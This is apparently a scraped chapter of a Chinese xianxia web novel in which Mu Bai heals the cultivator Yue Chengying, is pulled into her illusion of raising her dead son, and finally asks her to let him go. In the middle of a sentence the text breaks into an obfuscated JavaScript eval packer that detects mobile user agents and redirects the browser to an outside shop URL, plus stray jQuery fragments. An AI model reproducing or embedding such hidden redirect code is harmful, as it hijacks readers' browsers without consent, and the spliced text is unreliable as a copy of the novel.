15.第 15 章

作品:《召唤玩家的我成了高危师尊

    那天穆白推开月承影,穆白着实没想到自己会把月承影伤成这样。


    他想,月承影好歹也是炼虚修士,是经历过仙魔大战的强大女修,可敌数万魔族将士,总不会敌不过一句“你越界了”。


    却没想到月承影真的因为一句话以及多年的悔恨,就跌了三个小境界,现在更是要跌破大进阶了。


    跌破大境界是要损伤寿元的。


    待穆清辉离开,穆白不禁对着莲花池的湖水陷入了沉思中。


    他在掂量要不要去帮忙。


    当时他在太白山毒瘴外围,天道见他不敬父母就要劈他,一副想要疯狂找他麻烦的模样,于是此次离开太白山,他特意压制了修为,低调行事,不想被天道注意到。


    要是帮助月承影,天道肯定会发现他已离开了太白山,又来找他的麻烦,与他一开始的低调行事目的相违背。


    可是.......天道找麻烦总得找点理由吧?


    他出太白山这段时间,可是非常乖巧的,天天对着穆清辉师尊师尊地叫着,没有不敬师长,没有不敬天地。它能找什么理由劈他呢?


    他这也算做了一件善事,天道不是觉得他不该这么对月承影吗?他当时推拒是错,此时帮忙也是错吗?


    总不能做什么都是错。


    如果做什么都是错,那就是天道本身错了,穆白垂下了眼帘。


    手指再次拨动琴弦。从舒缓宁静的《平沙落雁》,改弹《广陵散》,听得林也椿打了个哆嗦。


    这曲儿杀气真重,也不知是谁惹到他们的青牛兄。


    ..........


    一夜,穆白趁着穆清辉不在宗内,凌空一踏,便从自己小住的莲池阁,瞬息来到月承影的闭关之地。


    门口有两个炼虚期修士加固的结界,但是对于穆白来说,根本算不上阻碍,他一甩衣袖,像是拨开一片云一般,挥手撤却了结界,而后神情自如地走进了这闭关的小房间里。


    女子依然穿着他上次见她时穿的飘逸道裙,一双睁开时流光溢彩、有些执拗的眸子,此时正紧闭着,似乎满是愁云


    她双手掐着护心的法决盘腿坐在打坐的蒲团之上,但仍然有无数灵气从她的丹田逸散,汗沾湿了她的两鬓。


    修仙者要摒弃七情六欲自然有该摈弃的道理,执念太深,就是成不了道的。


    穆白的手指捏了一个法决,他的木灵气也是适合治愈的温和灵气,他不是专攻治疗的医修,但是渡劫期想给一个炼虚期渡灵气还是太容易了一些。


    淡绿色的木系灵气像是萤火围绕在两人的面前,周遭写满了符文的聚灵阵同时闪烁起灵气汇聚的光芒,浩瀚的灵气从四面八方涌来,灵脉都被召集着逆转了流向。


    在远方另一处闭关地的清凛也感应到了不寻常的灵气气流波动,他微微睁开了眼,手指一掐演算起来,算到此事为吉,他虽心有疑虑,但还是相信了自己推演,再次闭眼。


    ——“万物生死自有缘法。”


    随着庞大的木系灵气涌入体内,月承影的表情渐渐舒缓了一些,手也从护心的手势落至了膝盖上方。


    她闭了死关,在出关之前,意识会一直处在识海深处,无法睁开眼睛。


    穆白也不怕她会睁开眼睛突然看他,于是在收了手时,站在了离月承影很近的地方打量她。


    不像。


    非常不像。


    他现实中的母亲像是一只盛放的红玫瑰,热烈,耀眼,好像要让所有人都嗅到自己的芬芳似得妖艳,但是这个女人却是个清冷出尘的寒梅,如同梅花一般冷傲,却又如同梅花一样纤细。


    心灵怎么这么脆弱。


    穆白伸出了手,看向自己的手腕,遮蔽月牙型胎记的法术不知何时已经褪尽,大牛的胎记又显露出来了,他好奇地用灵气抬起了女子落在膝盖上的手,隔着一段距离将自己手腕上的胎记,与女子的手腕上的胎记比对了一下。


    果然是一模一样的。


    怎么做到的?


    遗传?


    遗传可以遗传的一模一样吗?她那天说她家子嗣每人都有这种胎记,总感觉很不符合社会主义青年的科学观啊。


    果然是修仙世界,连生孩子的事儿都不归科学管。


    穆白天马行空地想着,一不注意,控制女子手腕的力量就稍微偏了一点,两个同样白皙的手腕,便擦撞到了一起。


    红月胎记相触的瞬间,穆白眼前泛过一道白光,还未等他反应过来,就被一股力量拉进了女子的识海世界里去。


    天旋地转。


    穆白感知到自己的视野骤然变矮了些许,好像在使着一把比他个头还高的木剑,身边站着一个漂亮的眼熟的女修,他还没来得及查看这里是哪里,就不可自控地对着身边的女修奶呼呼地唤了一声。


    “娘亲。”


    刚刚唤出声来,穆白下意识地意识到不对,他放下了剑,捂住了自己不受控制的嘴。


    手下的触感也是无比柔软的,好像在碰一团棉花,穆白不可置信地放下了捂嘴的手。


    如果他没有感知错。


    他现在的身高对比旁边的月乘影,顶多四五岁左右,声音也是奶呼呼的,剑也重得过分。


    他这是在......


    【系统:您被血脉之力拉进了月承影修士的识海,这是心劫幻境,您给了她大量灵气,她现在的境界不至于往下掉了,是她自己沉溺在幻想中不愿意清醒。如果没有办法唤醒她,恐怕您也要困在别人的幻境里度过一生了。】


    当然还有另一种办法,那就是直接动用绝对的武力值优势,直接破碎掉月承影的识海。


    不过这种办法太粗暴,月承影会直接失去神志,变成活死人,穆白一出月承影的识海就得被雷劈,而且不止是八十一道,当然,以穆白的能力值,在被雷劫劈死之前肯定是能躲回太白山的......但是把月承影变成活死人的事,穆白应该做不出来。


    所以最好的办法还是唤醒她。


    穆白不禁蹙眉。


    【怎么唤醒她呢?】


    【理论上完成她的心愿就可以。】


    穆白都想掀桌了,大牛死了没死他是最清楚的,他再神通广大也不可能把一个修仙界原住民死而复生吧,他到哪里再去给她找个大牛去。


    “我儿,又在撒娇了,就这么不想练剑。”


    月承影看见穆白嘟着嘴一脸不爽的模样,将他抱了起来揉搓,脸上满是似水温柔。


    “那就不练,我回去给你做好吃的,想吃什么我都给你做。”


    穆白紧紧抓着女子的肩膀,他现在不是渡劫大能,身体半


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16970752|193103||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    悬在空中的距离感觉有一个自己那么高,他害怕。


    穆白对这种肉麻的温情过敏,他晃荡着双腿,挣扎着想要下来。


    “醒醒,月承影,这是幻境,我不是穆白首,不是你儿子。”


    他明明是好心帮人,但是月承影又一次让他遭了无妄之灾。


    月承影的神情显而易见地划过一抹迷茫,但是很快就有稳定了下来。


    “你想是什么就是什么。”


    她轻笑了一声。


    “现在是越来越过分了,现在为了不练剑什么话都说得出来了。你既不认我这个娘,那我就当你师娘,反正这剑法你是练定了。”


    月承影抓起穆白的手,一路“绑架”到了练武场。


    不得不说。


    推理过程全错,结果居然对上了,这也是一件可怕的事。


    在这之后,幻境里的月承影真的以他的师娘自居,跟他相处了十三年。


    说是十三年,其实只是十三天而已,每一天起来,穆白都会发现自己的身体在抽长,像是长大了一岁,时间流转,他的形象也在不断接近他进入上清宗时的模样。


    穆白依旧不知月承影的心愿是什么,但是他对月承影的剑法倒是越来越熟悉了,月家是一传承已久的剑修世家,以月的阴晴圆缺,有十三式剑法,穆白一天学一式,学到第十三天的时候,已经完全掌握了月家的剑道功法。


    当年胡诌的一句他是剑修,现在也快成真的了。


    “阿牛,今日是你生辰,可想要什么添岁礼?”


    穆白站在莲花池边上,对着水里的两人倒影,不由得出神。


    这个大牛健康成长在上清宗的幻境,说到底只是镜花水月。


    月承影看不清,他却很清楚。穆白叹了声。


    他转身过来,对着细数着他们之后可以做什么的月承影道。


    “师娘。”


    “我想要一个蛋糕。”


    月承影怔在原地,“何为蛋糕啊?”


    “蛋糕是一种凡人喜爱的甜食,以前每逢生辰,我都会吃。”


    他的父母从来不记他的生日,但是穆白很有钱,他能买最好的蛋糕,没有亏待过自己一天。


    “别说那种胡话了。”月承影脸色苍白地抖着声音道。


    穆白知道,她是不肯承认。他摇了摇头。


    青衣青年所站的地方,渐渐催生出一片桃林,桃花飘飞,浪漫柔和,同时,渡劫期的灵气以一种没有破坏月承影识海的方式,骤然回归,他的声音淡淡道。


    “我的父母是你,又或是你们的孩子是我。我们或许都能拥有幸福美满的一生。”


    “可是偏偏事与愿违,大道无情,满是阴差阳错。”


    “我不想成为承载另一个亡故灵魂的容器,因我内心有缺,所以我知你们内心亦有缺。我不是一个适合填补缺漏的石子,我若贪图这份圆满,不过会让自己重新碎一回,把你们填补完整而已。我不能背叛自己的一生,那些不完全快乐的岁月,亦是我道心基石。”


    “天道尚且残缺,月满则亏。”


    “世上从无两全法,我们各自的残缺,不过是各自道途上必须独自背负的重量。”


    穆白最后的话,散入了风里。


    “一同好好过个生日,便放本尊走吧。”